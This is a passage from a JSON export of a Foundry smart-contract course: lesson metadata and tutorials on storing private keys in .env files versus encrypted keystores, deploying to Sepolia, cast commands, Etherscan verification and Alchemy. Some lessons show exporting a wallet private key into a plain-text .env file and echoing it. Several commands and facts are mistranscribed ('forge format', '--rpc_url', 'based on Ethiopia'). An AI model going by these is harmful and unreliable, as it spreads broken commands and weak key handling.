how to do this.\n\n```bash\n private key = [your private key]\n RPC_URL = http://your_rpc_url\n```\n\nNow, we have to load these environment variables into our shell:\n\n```bash\n source .env\n```\n\nNow we can test out whether our environment variables were added successfully:\n\n```bash\n echo $PRIVATE_KEY\n echo $RPC_URL\n```\n\n## Secure Coding: The Next Step\n\nEven though we've made our command line cleaner by removing any direct input of private keys, there's still the worry of having our keys stored in plain text. That's why our next step towards secure coding involves using a keystore.\n\nA keystore is an encrypted file that contains your private key. You'll need a password to decrypt it.Foundry, a blockchain development toolset is in the process of adding a feature that allows developers to use keystores instead of exposing their private keys. Do check their GitHub repo to see the status of this feature.\n\nIn the meantime, it's essential to understand the step we've taken so far: using a .env file to store environment variables is acceptable for `_development_`. It is not the way to go for `_production_`.For production, you'd want to use Foundry's built-in interactive CLI to paste your key in, or use a keystore file with a password once Foundry integrates that function.\n\nSimply put:\n\n* **For Development**: Use environment variables\n* **For Production**: Use interactive CLI or a keystore file\n\n## The Env Pledge: Promote Secure Development\n\nThe `env` pledge is a set of rules focused on promoting secure development practices. It emphasizes using test private keys, ensuring private keys are not posted on any internet platform even momentarily, and taking immediate action if a key is potentially compromised. If you're *certain* you won't be deploying anything to the mainnet or working with a private key that holds real funds, you can rest easy. But remember, as developers, it's our responsibility to approach key management with utmost caution.\n\nFeel free to share these valuable pledges with other developers on various platforms. The more people aware of these, the better.\n\nI hope this blog post has helped you understand the crucial aspect of interacting with your contracts securely and efficiently. Remember, you're responsible for managing these keys safely, so follow this guide to ensure you're doing it right!\n", + "updates": [] + }, + { + "lessonId": "8495d240-3ad3-4d6f-8b88-367728ea4b9a", + "number": 17, + "slug": "never-use-a-env-file", + "title": "Never Use A Env File", + "description": "In this lesson we'll finally rid ourselves of risky development practices and learn to employ methods to properly safeguard our private keys. Move past .env variables and never mistakenly compromise yourself again.", + "duration": 7, + "videoUrl": "Oi00iQEuRE4PKWnPrmiKqH5a7Lj01pBfBvcCi02h1cepds", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/17-never-use-a-env-file/+page.md", + "markdownContent": "***\n\n## title: Third Web Deploy\n\n*Follow along the course with this video.*\n\n***\n\n# Moving Beyond Environment Variables\n\nA while back, I showed you a method where we utilized an environment variable (.env) to store private keys. However, times have evolved and we've acquired a much safer way to manage and protect those keys. This method involves using the Foundry's built-in ‘**cast**’ command which allows you to work with an encrypted version of the private key, thus avoiding any raw, plain-text encounters. If you're seeking a security review or an audit, and you still have a .env example left hanging around in your git repo, well, prepare yourself for a swift rejection.\n\n## Why Moving Away From Plain Text Keys is Crucial\n\nPreviously, I showed you how to use an Ethereum Private Key RPC URL and Etherscan API key as environment variables. We know, however, that plain texts can be precarious - you might accidentally push this critical piece of information to GitHub, or worse, disclose it in your terminal inadvertently.\n\n\n\nTherefore, it is extremely important to ensure the security of your private keys and never leave them open in the text format.\n\n## Solution: Encrypting your Keys Using ERC2335\n\nThe solution to this issue lies in the use of ERC2335. This is nothing but a nifty system that enables us to convert private keys into a secure JSON format.\n\nLet’s assume that your private key is the same as the default key that comes along with the Anvil development package. On running Anvil, you receive an output where you can locate said key.\n\nOnce you have your key, from your terminal, go ahead and run the following command:\n\n```bash\ncast wallet import defaultKey --interactive\n```\n\nA highly recommended practice is **not** to run this in Visual Studio Code, but directly within your terminal or shell instead. This maneuver launches an interactive shell where you can safeguard your details. You may copy-paste your private key here. At this point of execution, you are required to enter a password, which you need to remember whenever you need to use this private key.\n\nOn successful implementation, you will be provided with this message: `default Key store was saved successfully` and you will receive an address.\n\nBefore, we fed our private key directly into our terminal and used a make file to make the operation appear easier. With our private key now securely stored and encrypted in our cast, we can verify its presence using:\n\n```bash\ncast wallet list\n```\n\nAfter this, you can use the following command to run our default script:\n\n```bash\nforge script script/DeployFundMe.s.sol:DeployFundMe --rpc-url http://localhost:8545 --account defaultKey --sender 0xf39...--broadcast -vvvv\n```\n\n\n\nThe term 'private key' in this command is replaced with `account defaultKey --sender.` You still however need to copy-paste the address of the sender, AKA the address associated with the private key.\n\nA piece of advice to remember is that anytime you see your private key in plain text, your brain should give off alarm bells. And anytime you have the urge to reveal your private key, you must think twice. Even if you are using a development private key like in this course, when you start to work with real money, I highly encourage you to stick to the encrypted process.\n\nOnce you encrypt your private key, your objective should be to then never revisit it. Always remember, the chances of implications multiply significantly, anytime you expose your private key. Unfortunately, there is still no full-proof method to completely avoid revealing private keys but we can surely minimize the risk by exposing it the least number of times possible.\n\n## Conclusion\n\nTo simplify things to the best level possible, avoid using .env files to store your private key. Instead, opt for encrypting it with **cast wallet import**. While you are at it, use a password or a password file for added security and delete the key from your history after you use it. This would ensure that your private key, especially those with real money associated, are protected most effectively.\n\nFinally, let's take a moment to appreciate the contribution of the people who were instrumental in making Foundry a reality, making our lives as developers easier and more secure.\n\nStay safe, and until next time, happy coding!\n", + "updates": [] + }, + { + "lessonId": "5b0806c9-eb4f-4258-aa8c-f5f8e89b32cb", + "number": 18, + "slug": "thirdweb-deploy", + "title": "Deploy a smart contract using Thirdweb", + "description": "Introduction to deploying smart contracts using Thirdweb, including benefits, ease of use, and features for secure and efficient contract deployment.", + "duration": 5, + "videoUrl": "PuCd01cZuN54Yn00Q5GKfF5ToSTQaykxF01mWp100yXZ4Ls", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/18-thirdweb-deploy/+page.md", + "markdownContent": "***\n\n## title: Third Web Deploy\n\n*Follow along the course with this video.*\n\n***\n\n# Secure Contract Deployment with Third Web\n\nWhen developing on a blockchain, you inevitably come across challenges – like managing private keys in plaintext – that can potentially compromise the security of your solution. Third Web Deploy, a product of Third Web, offers a hassle-free and secure solution to such challenges.\n\nKira from the Third Web team has provided a comprehensive overview of how Third Web can help you effortlessly deploy contracts on any EVM chain that you prefer. For those unfamiliar with the `npx` command, it comes pre-bundled with the node.js and NPM installation. You can refer to our GitHub repository to learn more. Now, let's dive into Kira’s explanation.\n\n\n\n## Easy Contract Deployment with a Single Command\n\nTo deploy a contract, generally, you would need to set up hardcoded private keys as well as RPC URLs, and they need some level of scripting. However, with Third Web, you can surpass all these tedious steps for deployment. Since you're not exporting your private key in this process, it enhances your contract's security significantly.\n\nThe deployment process happens through a dashboard UI, enabling you to manage everything right from your wallet. Let's walk through the process of deploying contracts with Third Web.\n\n## Deploying Contracts with Third Web\n\nSuppose you have already cloned a repository, or maybe you've written your contract. This could be any contract; for this walkthrough, I've cloned a simple storage contract.\n\nFor this contract, there's no `.env` file, no RPC URL setup, and I haven't exported my private key. This is one of the fantastic aspects of Third Web - there is absolutely no pre-installation needed, no dependencies whatsoever, making the entire process much more straightforward and less time-consuming.\n\nTo commence the deployment, all you need to do is run the simple command `npx thirdweb deploy`.\n\n## What Happens When You Deploy\n\nOn executing this command, Third Web will ascertain the project type, compile contracts, and permit you to choose the contract you wish to deploy. In this demonstration, I am deploying a simple storage contract.\n\nThis action leads to the contract metadata getting uploaded to IPFS, resulting in automatic contract verification. For those interested in a more in-depth explanation of this mechanism, please visit the [Third Web Developer Docs](https://portal.thirdweb.com/deploy).\n\n\n\nFollowing these steps, a browser tab will open where you can deploy your contract through a front-end interface. In circumstances where construct params are required (they aren't in this case), you'll be able to fill them out directly.\n\nNext, you select the chain you wish to deploy to. Third Web supports all EVM networks, from the popular ones like Base to custom networks if they aren't listed already. In this case, I selected the Mumbai network for deployment.\n\nThis process triggers two transactions – one, a transaction to deploy the contract, and two, a gasless message that you sign. This message adds your contract to your dashboard, providing a user-friendly interface to interact with the contract, very similar to Remix.\n\nOnce these transactions are completed, your contract is successfully deployed, as simple as that!\n\n## Navigating Third Web's Dashboard\n\nOn successful deployment, the contract address will be visible, which you can copy for future use. The dashboard also offers several features for easy contract management:\n\n* The **Build tab** facilitates effortless front-end interface creation for contracts with easy-to-use hooks in various languages.\n* The **Explorer tab** allows the view and modifies the read and write functions of your contract—essentially, all functions you have in your contract are listed here.\n* You can monitor the events related to your contract and even access the source code.\n\n\n\nIn a nutshell, Third Web provides a swift, easy, and secure way to deploy contracts. It's a one-stop-shop for your web three development needs with multiple language SDKs, prebuilt contracts, and a solid infrastructure for all your web three development requirements.\n\nFor more information, visit [Third Web](https://www.thirdweb.com/) or refer to their detailed [Documentation](https://docs.thirdweb.com/).\n\n\n", + "updates": [] + }, + { + "lessonId": "1acf7564-9d3d-40b9-8baf-e867f61a589e", + "number": 19, + "slug": "interact-with-smart-contract-cli", + "title": "Interact with a smart contract using the CLI", + "description": "Comprehensive guide on interacting with smart contracts using CLI and Foundry's Cast tool, detailing command usage for sending transactions and reading blockchain data.", + "duration": 4, + "videoUrl": "lbirn1O34hl7200uP4IaloDLu87p7iMnN1nqBAlSqR4A", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/19-cast-send/+page.md", + "markdownContent": "***\n\n## title: Cast Send\n\n*Follow along the course with this video.*\n\n***\n\n## Interacting With Contract Addresses via Command Line & Foundry's Cast Tool\n\nWhere you new to blockchain or you're just looking to grasp an in-depth understanding of sending transactions and calling functions on a contract through the command line, this article has got you covered.\n\nIn this piece, we will be exploring how to interact with these contracts, beginning with the command line interaction, and later extending that to scripts. Initially, we will interact with our deployed contract called **SimpleStorage contract** using private keys that is set as an environment variable.\n\n## Using Foundry's Cast Tool\n\n\n\nFoundry has an in-built tool known as the **Cast**. Cast comes loaded with numerous commands to interact with. One such useful command is **'send'** which is designed to sign and publish a transaction. To view help about **'send'**, type `cast send --help`. You will see that the 'send' syntax uses two arguments, namely, signature and the arguments.\n\n*The signature* is essentially the identifier and docker of the function and its input types whereas *the arguments* is the data you want to pass to the function.\n\n### Example: Using Cast tool to Interact with Simple Storage Contract\n\nSay, we have our simple storage contract and we deployed it. If we wanted to call our `store` function and send a transaction, we would just add some numbers and then click 'store'. However, if we want to call `store` from the command line, we can do it by passing the address we want, the signature and our desired values to pass to our `store` function.\n\nHere's an example of how you'd use the `cast send` function:\n\n```bash\ncast send
store(uint256) \n```\n\n\"*Remember, the function should be followed by its input types in parentheses, and then the values that you want to pass in.*\"\n\nThis command won't run immediately as we need to add our private key and RPC URL. So, let's do that. With the command **RPCCast**, the RPC URL can be added. Let's add our private key, too, just after the `RPC URL`.\n\nWith the correct command, we'll get a bunch of data about our transaction back. We'll get the `block hash`, `block number`, `Contract address`, `Logs`, and the `transaction hash`.\n\n### Using Cast Call to Read the Blockchain\n\nThe Cast tool also provides a `call` function which reads off the blockchain. `cast call --help` will reveal that `call`, like `send`, takes two signature and arguments.\n\nThe main difference between them, however, is that `call` is like pressing a view function button - it's not actually sending a transaction.\n\nHere’s an example:\n\n```bash\ncast call
retrieve()\n```\n\nWe should get the hex value back from the executed command. From here, we need to convert the hexadecimal back to decimal using the `cast --to-base` function.\n\n```bash\ncast --to-base decimal\n```\n\nYou can see we get back the same numbers, which we've stored on the chain.\n\n## Updating Stored Values\n\nIf you decide to change the stored values, let's say from 123 to 777, you would send that transaction using the `send` command. Then call the `retrieve` function using the `cast call` like earlier. You should see the new number returned to you in the hexadecimal format. Simply convert the hexadecimal format back to decimal format, and voila - you've successfully interacted with your contract.\n\n```bash\ncast send
store(uint256) 777\n```\n\nFollowing this comprehensive guide, you can start interacting with your contracts from the command line smoothly and eventually with scripts. It's worth noting, this same approach can be used to interact with contracts on an actual test net or on an actual main net.\n\nHappy Contract Interactions!\n", + "updates": [] + }, + { + "lessonId": "c230292c-5fc1-4d55-9a2e-b86a2413ff0b", + "number": 20, + "slug": "deploying-smart-contract-testnet-sepolia", + "title": "Deploying a smart contract on testnet (Sepolia)", + "description": "Step-by-step tutorial on deploying smart contracts to Ethereum's Sepolia testnet using Foundry and Alchemy, including setting up RPC URLs and private keys.", + "duration": 6, + "videoUrl": "MbnsfY5GC5cvqeWIxLtBI02CF9TTd7lodJSmXZwG2SQ00", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/20-deploying-to-a-testnet/+page.md", + "markdownContent": "***\n\n## title: Deploying to a Testnet\n\n*Follow along the course with this video.*\n\n***\n\n## Deploying our Contract to Testnet or Live Network with Foundry and Alchemy\n\nHi, everyone! Are you curious about what your contract would look like on a testnet or a live network? If so, buckle up because this blog post will cover exactly that! We'll walk through the process of updating our Environment Variable (.env) file for an actual testnet.\n\nClearly, we need an actual testnet for a real network. But our trusty Metamask has built-in Infura connections that are incompatible. Why? Because they're tailored specifically for MetaMask. Hence, we need our own Remote Procedure Call (RPC) URL.\n\n## Creating our Own RPC URL for a Testnet\n\n*To create one, we could run our own blockchain node, but let's be honest — many folks prefer avoiding that route. Instead, we utilize Node as a Service (NaaS) applications to expedite the process.*\n\nOne promising option is using Alchemy - a free NaaS platform that we can send the transactions to. This procedure resides within the *Deploying to Testnet or Mainnnet* section in the full course repo of the Foundry.\n\n\n\nTo access the Alchemy platform, we simply click on the aforementioned function. On the platform, we sign up (I used Google sign-in for this demo).\n\nOur next step is creating a new app in the Alchemy user interface. I named mine *Sepolia Testing* and kept the description the same, given that our chain will be an Ethereum one based on Ethiopia.\n\nWe can bypass advanced features for now and finalize our app. Now we have the app details needed for our node, including frequency of calls and other details. We also have a new https endpoint by clicking view key, which functions exactly the same way as our ganache or MetaMask endpoint.\n\n## Altering our Private Key\n\nNext, let's do something about our private keys. Our ganache private key will no longer cut it — it has neither real money nor any testnet ETH in it.\n\nOur solution is to use one of our MetaMask private keys. To do this, we switch back to Sepolia in our MetaMask, choose an account with money in it, click on account details, and export the private key. *Remember, never share your real private key!*\n\nUpon confirmation with your password, copy the private key and omit the line in the env file — hashtag or pound sign denoting comments.\n\n## Executing the Transaction\n\nWith our Sepolia RPC URL and private key from MetaMask, executing a transaction now becomes tremendously easier.\n\n```bash\nsource .env\nforge script script deploySimpleStorage.s.sol --rpc_url=$Sepolia_RPC_URL --private-key=$private_key --broadcast\n```\n\nThis command deploys our contract to the testnet, and we can monitor the transaction on our Alchemy dashboard.\n\nWe soon find that our contract, Simple Storage, has been deployed on the Sepolia chain. We can grab our transaction hash and input it into Sepolia etherscan IO to confirm the successful transaction.\n\nAfter we refresh our Alchemy dashboard, we'll verify the requests sent and track the ETH send raw transaction that transmitted our transaction to the blockchain.\n\nSo, this is how we deploy our contract on a real testnet leveraging Foundry and Alchemy!\n\nOur next step will explore adding real-world components to the mix. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "2674ff49-7364-4444-a9a0-7d5fed16a387", + "number": 21, + "slug": "verify-smart-contract-etherscan", + "title": "Verify a smart contract on Etherscan", + "description": "Guide on verifying Ethereum smart contracts on Etherscan, covering manual verification steps and the importance of contract readability and accessibility.", + "duration": 2, + "videoUrl": "I00L6VW01MXtktSCsRN3cUW38lh6j16BrI3tyc4PEaGsc", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/21-manual-verification/+page.md", + "markdownContent": "***\n\n## title: Manual Verification\n\n*Follow along the course with this video.*\n\n***\n\n# Verifying Your Ethereum Smart Contracts: A Step-by-Step Guide\n\nEthereum smart contracts are powerful tools for decentralized applications. However, they can seem a bit intimidating when viewed in their raw form, especially for beginners. Today, we're exploring how to navigate these waters by inspecting and verifying smart contracts on Etherscan, a blockchain explorer.\n\nWhen working with Ethereum smart contracts, you'll often come across what seems like an overwhelming bunch of bytecode when examining the contract on Etherscan. Let's fix that.\n\n## The Raw Contract: A Bytecode Jungle\n\n\n\nAs you dive into your smart contract on Etherscan, you'll be greeted by the contract's bytecode. This usually appears as a jumbled mass of non-readable code, making it challenging to understand the contractual logic contained within.\n\n## Verifying Your Smart Contract: The Hard Way\n\nHere's a step you can take to make the contract more readable; verify the contract. I'll show the hard and manual way first, and then follow up with a simpler, more streamlined method.\n\nTo manually verify a contract on Etherscan or other Block Explorers, follow these steps:\n\n1. Navigate to the 'Verify' option.\n2. Select 'Solidity' as the contract's language.\n3. Since this is a single file contract, choose 'Single File'.\n4. The compiler version we're using for this demonstration is 0.8.19, and our open-source license is MIT. Fill these details accordingly.\n5. Click 'Continue'.\n\nNow, you'll need to copy the entire contract from your 'SimpleStorage.sol' file, paste it in the appropriate dialogue box, select 'Optimization' as 'Yes', and then verify that you're not a robot.\n\n\n\nEnsure that you leave the boxes for constructor ARGs, contract library addresses, and miscellaneous settings blank. Once done, click 'Verify and Publish'.\n\nAt this stage, the verification process can get a little tricky. But if done correctly, if you click on your contract address, navigate to 'Contract', and then scroll down, the previously unapproachable code is now readable in Etherscan.\n\nBesides making the code legible, this process also provides access to the 'Read' and 'Write' contract buttons, and you can interact with your contract directly from Etherscan or elsewhere.\n\n\n\n## Verifying Your Smart Contract: The Easy Way\n\nThe manual verification method outlined above can be full of pitfalls. That’s why it's not a recommended method. Instead, I encourage you to conduct programmatic verification of your contracts which removes these barriers - a method I'll be teaching in the near future.\n\nIn the end, verifying your contracts makes working with Ethereum smart contracts significantly more manageable and understandable. Whether you’re a veteran Ethereum developer or a newcomer to the space, having a clear understanding of your contracts is essential for building secure, efficient, and effective decentralized applications.\n\nRemember, Ethereum smart contracts, with their powerful capabilities, form the beating heart of any DApp. So it's critical to learn how to navigate, inspect, and verify your contracts to ensure they are error-free and function as intended. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "8df7e063-f1a6-4a5d-8bdd-d9b201f5b5dc", + "number": 22, + "slug": "cleaning-up-the-project", + "title": "Cleaning up the project", + "description": "Tutorial on cleaning up a coding project, emphasizing formatting consistency using Forge and crafting an informative README file with Markdown.", + "duration": 3, + "videoUrl": "P2iqVy1BY2GaNsCVyZjXLkZzZKSYoILCjzYfoOzg3c8", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/22-cleaning-up/+page.md", + "markdownContent": "***\n\n## title: Cleaning Up\n\n*Follow along the course with this video.*\n\n***\n\n## Mastering a Basic Coding Project: Formatting and README files\n\nHello, we've covered a lot, and are rounding the corner to completion. As we look to wrap things up, let's focus on a couple of aspects that are essential for rounding out any project: Formatting and README files.\n\n## Formatting for Consistency\n\nIn this project, we've been using the powerful tool - Vs code auto-formatter to automatically format our code. This saves us tedium and ensures a consistent style throughout our files. But what happens when someone else comes to our codebase? We want them to apply formatting that aligns with our style. For this, we can use the `forge format command`.\n\nWhen we run `Forge format command`, our code reformats according to predefined rules. This command ensures that all our solidity code adheres to a consistent style.\n\n```bash\nforge fmt\n```\n\nYou'll notice upon running this command that your code moulds itself into a neat and tidy format. Try it out - save without formatting, run the command, and watch your code auto-formatted right before your eyes.\n\n## Crafting a README\n\nEvery code repository isn't complete without a readme. If you want to contribute to open source, you'll find this file in almost every single repo. Your next stop, therefore, should be creating a `README.md` file. We create this by clicking on `right click new file` and then typing `README.md`.\n\nIn this all-important file, you document critical information about your project: what it's about, how it works, instructions for collaborating, contact details, so on.\n\n```bash\ntouch README.md\n```\n\n\n\nTake a look around. README files also contain notes and other bits of important information. I had jotted down some notes about private key usage in my README. Although it's no longer needed, so we'll just delete that for now.\n\nWhile this project isn't headed for GitHub, it's crucial to remember that the README is an invaluable addition when you push your code to platforms like GitHub. We'll get into this more in our next project, where I'll guide you through using version control systems and repositories.\n\n## Marvel at Markdown\n\nREADME files make use of 'Markdown' syntax, a text-to-HTML conversion tool for web writers. Do you remember when we discussed using Markdown syntax to field questions? Guess what, we're back at it again!\n\nA quick run-through: To use markdown in our README, we can use a `#` for headlines, and simple text entry for regular lines. Here's a sneak peek:\n\n```markdown\n# HelloSome text here\n```\n\nTo view what this looks like in HTML form, we can install a handy extension such as 'Markdown all in one' or 'Markdown Preview'.\n\n```bash\nCommand Shift P > View command palette > Markdown preview > Open preview\n```\n\nThis combination gives us a preview replicating how the document might look like on GitHub.\n\n\n\nYou will notice that the headline \"Hello\" is big and bold, while \"Some text here\" retains regular formatting. Moreover, you can add 'backticks' to format a line as code.\n\n```\n `code here`\n```\n\n\n\nPro-tip: A quick `Command Shift V` (or `Control Shift` for Windows and Linux users) opens up Preview mode.\n\n\n\nThat's all for now! Remember, formatting and a well-documented README are integral to any project - big or small. Stay tuned for more tips, tricks, and insights into the exciting world of coding. Happy Coding!\n", + "updates": [] + }, + { + "lessonId": "c36079de-f431-4182-a2e2-da18aa6adbb7", + "number": 23, + "slug": "introduction-to-alchemy", + "title": "Introduction to Alchemy", + "description": "Introduction to Alchemy, a developer platform for Web3 applications, covering its features, benefits, and steps to create an account and use its services.", + "duration": 12, + "videoUrl": "tfv23r00Wnqrlbl93Qt02q1kkmRQTTipPl4FtJUTyt2cg", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/23-alchemy-mempool/+page.md", + "markdownContent": "***\n\n## title: Alchemy & The Mempool\n\n*Follow along the course with this video.*\n\n***\n\n## Alchemy: A Game Changer for Decentralized Application Development\n\nInnovation in the blockchain industry has come a long way, with powerful tools making their way into the ecosystem to support developers and bring efficiency to their workflows. Among these tools is Alchemy, and today we have Vito, the lead developer experience at Alchemy, to walk us through the platform, its features, and how you can leverage it to exponentially increase your productivity.\n\n## What is Alchemy?\n\nAlchemy is a platform equipped with APIs, SDKs, and libraries to enhance your developer experience while working on Web3 projects. Think of Alchemy as the AWS of Web3. It functions as a node provider and developer tooling platform predominantly used in thousands of Web3 and Web2 applications, including large Web2 corporations like Adobe, Shopify, and Stripe.\n\nThe need for platforms such as Alchemy arises from the fact that, as a developer, you don't usually have to worry about running the servers your code operates on or developing the deployment and integration pipelines for your application. Instead, you use services such as AWS, Azure, and Google Cloud for that—Alchemy does the same but for Web3.\n\n## How Does Alchemy Work?\n\nAlchemy enhances your developer experience through a combination of features. The platform's primary component is the *Supernode*, a proprietary blockchain engine that works as a load balancer on top of your node.\n\nLike its name suggests, the Supernode ensures data from the blockchain is always up-to-date and readily available. Using the Supernode as a foundation, Alchemy has built the *Enhanced APIs*—a set of APIs that makes pulling data from the blockchain a breeze.\n\nTo put it simply, the Alchemy Supernode sits at the core of its ecosystem, powering up functionalities like Enhanced APIs and monitoring tools while supporting multiple chains.\n\nWhat follows is a step-by-step guide on how to create a new account on Alchemy and leverage this platform to its full extent:\n\n## Creating a New Account on Alchemy\n\nCreating an account on Alchemy is not only easy but also completely free. You can also freely scale your applications up using the platform's generous premium plans.\n\n#### Step 1: Navigate to Alchemy.com\n\nHead over to [Alchemy.com](https://www.alchemy.com/) and create a new account.\n\n#### Step 2: Create a New Application\n\nOnce you have signed in, create a new application.\n\nNext, give your application a name and a description. Then, select a chain and network. Alchemy currently supports the majority of EVM-compatible chains, including:\n\n* Ethereum\n* Polygon (POS)\n* Zkevm\n* Optimism\n* Astar\n* Solana (non-EVM chain)\n\n## The Application-Specific Dashboard\n\nOnce your application is up and running, you will have access to the application-specific dashboard. This dashboard provides crucial insights into your application and infrastructure health, such as latency, compute units, and transaction success rate, which can be valuable for debugging and identifying issues.\n\nIf you observe a lower success rate for your transactions, go to the \"Recent Invalid Request\" tab. This will list all unsuccessful requests along with the reasons for their failure, making it easier for you to debug and fix issues.\n\n\n\n## Mempool Watcher\n\nAnother powerful tool provided by Alchemy is the Mempool watcher. Picture it as Ethereum's mempool, where all pending transactions reside waiting for validation or mining.\n\nThe Mempool watcher provides extensive details about your transactions, such as:\n\n* Transaction status (mined, pending, dropped, replaced)\n* Gas used\n* Time taken for validation\n* Transaction value\n* Sender's and receiver's address\n\nThis detailed transaction tracking allows you to have a better understanding of each transaction and aids immensely in debugging specific issues related to individual transactions.\n\n## Wrapping Up\n\nTo sum up, Alchemy is a revolutionary platform that brings a plethora of tools to aid your Web3 development experience. From Supernode to Enhanced APIs and crucial troubleshooting tools, Alchemy is undeniably a game changer in the world of decentralized applications.\n\n\"Alchemy can be a powerful asset to any blockchain developer, offering a simplified experience in an inherently complicated Web3 environment.\" – Vito, Lead Developer Experience at Alchemy.\n\nVito suggests that you check out Alchemy's [documentation](https://docs.alchemy.com/) to explore more about the platform, its APIs, SDKs, libraries, and tools. Also, don't forget to follow them on Twitter at [@AlchemyPlatform](https://twitter.com/alchemyplatform) and [@AlchemyLearn](https://twitter.com/alchemyLearn). And if you want to connect directly with Vito, feel free to reach out to him on Twitter at [@VitoStack](https://twitter.com/VittoStack).\n\nAlchemy is revolutionizing the landscape of blockchain development and making it more accessible and efficient for everyone involved. Happy building with Alchemy!\n", + "updates": [] + }, + { + "lessonId": "56e13acc-9c52-46bd-adc3-bf8d138c100b", + "number": 24, + "slug": "summary-congratulations", + "title": "Wrap up, congratulations!", + "description": "Summary and congratulations on completing the Foundry project, highlighting key learnings, tools used, and encouraging continued learning and coding practice.", + "duration": 3, + "videoUrl": "dFq40100B5t33nJrqzU5B6yF852yZRXpY022Y2O02XspkPs", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/24-summary-congratulations/+page.md", + "markdownContent": "***\n\n## title: Summary & Congratulations\n\n*Follow along the course with this video.*\n\n***\n\n## Celebrating Milestones in Foundry: A Complete Walkthrough of Our Recent Project\n\nYou should feel a warm sense of accomplishment envelop you. Completing an entire project in Foundry is no mean feat. A hearty congratulation is in order for such an indomitable effort. This article serves as a quick, yet comprehensive, recap of everything we learnt in our project, proceeding into our next engagement. From the onset, rest assured, we are set to advance our Foundry skills, push upcoming projects on GitHub, and familiarize ourselves with advanced tooling.\n\n## A Quick Trip Down Memory Lane: Key Takeaways from the Project\n\nFirstly, we journeyed through the process of creating a new Foundry project using Forge and Knit. These essential tools afforded us a structured, professional environment complete with folders to keep our work organized.\n\nWe not only learnt about Foundry’s basic commands but also their specific functionalities such as:\n\n* **Cast**: interacts with contracts that have been previously deployed.\n* **Forge**: compiles and interacts with our contracts.\n* **Anvil**: deploys a local blockchain, similar to another tool we used, Ganache.\n\nA pivotal part of our learning process was comprehending that sending a transaction via our MetaMask is tantamount to making an HTTP post request to a particular RPC URL. A similar RPC URL can be obtained from a node-as-a-service provider like [Alchemy](https://www.alchemyapi.io/) and used to send transactions directly from our Foundry projects.\n\nWe obtained practical knowledge on how to compile code in Foundry and write a Solidity script for its subsequent deployment. We also find it critical to ensure the security of our private keys. Hence, throughout this course, we will be using an `.env` file. But be warned when dealing with real money, having your private key in plain text is not advisable.\n\n## Understanding Contract Deployment and Interaction on the Blockchain\n\nWe delved into the automation of contract deployments to a blockchain. Post-deployment, we interacted with them using the `Cast` keyword and `send` to make transactions, then `Cast call` to read from those contracts.\n\nMoreover, the knowledge on how to auto format contracts with `Forge format` was acquired. We also learnt the painstaking yet rewarding manual method of verifying our contracts on the blockchain.\n\n```bash\nforge format my_contract.sol\n```\n\n\n\n## Looking Ahead\n\nWith these tools in your web development arsenal, you've performed exceptionally well – and yes, you should be incredibly proud. Remember, even something as small as installing tools like `Vs code` and `Foundry` can pose great difficulties, so, you're doing fantastic.\n\nTake a breather. Remember, breaks enhance productivity. Till next time, continue to strive for greatness in every line of code you write!\n\n\n", + "updates": [] + } + ] + }, + { + "sectionId": "105de61f-72fe-46d3-bfc4-8a2460e38d21", + "number": 2, + "slug": "foundry-fund-me", + "title": "Foundry Fund Me", + "lessons": [ + { + "lessonId": "bba0c0f7-79cc-4a28-a9f8-3b3165ecbb52", + "number": 1, + "slug": "fund-me-project-setup", + "title": "Fund Me project setup", + "description": "Introduction to the Foundry FundMe project, including setting up GitHub, understanding the FundMe contract, exploring storage and state variables, and creating a new Foundry project folder.", + "duration": 5, + "videoUrl": "Zir6UHUPb00yGfc9dzttpcg3spP1VKXwqVW025gHLmcCY", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/1-fund-me-setup/+page.md", + "markdownContent": "***\n\n## title: Welcome & Setup\n\n*Follow along the course with this video.*\n\n***\n\nWelcome to Lesson 7, where we will cover 'Foundry FundMe,' a crucial part of our smart contract journey. The aim of this lesson is to learn how to professionally deploy the code, master the art of creating fantastic tests, and gain insights into advanced debugging techniques.\n\n## Your First GitHub Contribution\n\nThis will be the first codebase that you will be contributing to GitHub yourself. Using a version control system such as GitHub, GitLab, or Radical is integral to being part of the Web Three ecosystem. For this lesson, we will be utilizing GitHub, given its popularity.\n\n## Understanding the Foundry FundMe\n\nWe start by delving into the FundMe contracts that we created previously. The source folder (`src`) contains these contracts, exhibiting the advanced syntax with all caps constants and underscores (`i_`, `s_`) fore immutables and storage/state variables, respectively.\n\nUntil now, we talked a lot about storage and state, but we didn't delve into what they really mean. Through a 'Fun with Storage' example, we will uncover these concepts in this lesson. This will form the backbone of understanding how to make contracts more gas efficient. Hence, making transactions less expensive for users.\n\n## Taking the Plunge\n\nAll right, let's jump into the code!\n\nWe will be working within our VS code, in our Foundry `F23` folder. To date, the only folder we have created is `foundry-simple-storage`. Now we will create a new one called `foundry-FundMe-f23` using the `mkdir` (make directory) command.\n\n```bash\n$ mkdir foundry-FundMe-f23\n```\n\nUsing the `ls` (list) command, we will see these two folders. Following this, we will initiate VS code in the newly created `foundry-FundMe-f23` folder.\n\n```bash\n$ code foundry-FundMe-f23\n```\n\n\n\nOnce we set up our new VS code, we can initialize our blank Foundry project using the `forge init` command.\n\n```bash\n$ forge init --force\n```\n\n## Understanding the Fundamentals through Counter.sol\n\nSubsequently, we come across the counter.sol contract within the `src` (source) folder. This is a basic contract that allows us to understand the foundational principles in depth. The contract has a `setNumber` function, an input parameter, `uint256 newNumber`, which modifies the variable as per the new number.\n\nIt also includes an `increment` function employing the `++` syntax equivalent to the expression `number = number + 1`.\n\n```js\nfunction increment() public {\n number = number + 1;\n}\n```\n\n## Deploying the Code\n\nFurther, we learn how to deploy this code using Foundry scripts and make it easier to run these contracts on different chains requiring unique addresses. We also acquire insights into how to use Foundry scripting to interact with our contracts in reproducible scripts instead of always from the command line.\n\n## Wrapping Up\n\nBy the end of this lesson, you should have a thorough understanding of this code, how to use it, discuss it effectively, and more importantly, how to write fantastic tests for your contracts. This is a crucial skill for any aspiring smart contract engineer.\n\nUpon completion, you should 100% share the project on your GitHub and social channels. Remember, this lesson is an enormous step in your Smart Contract 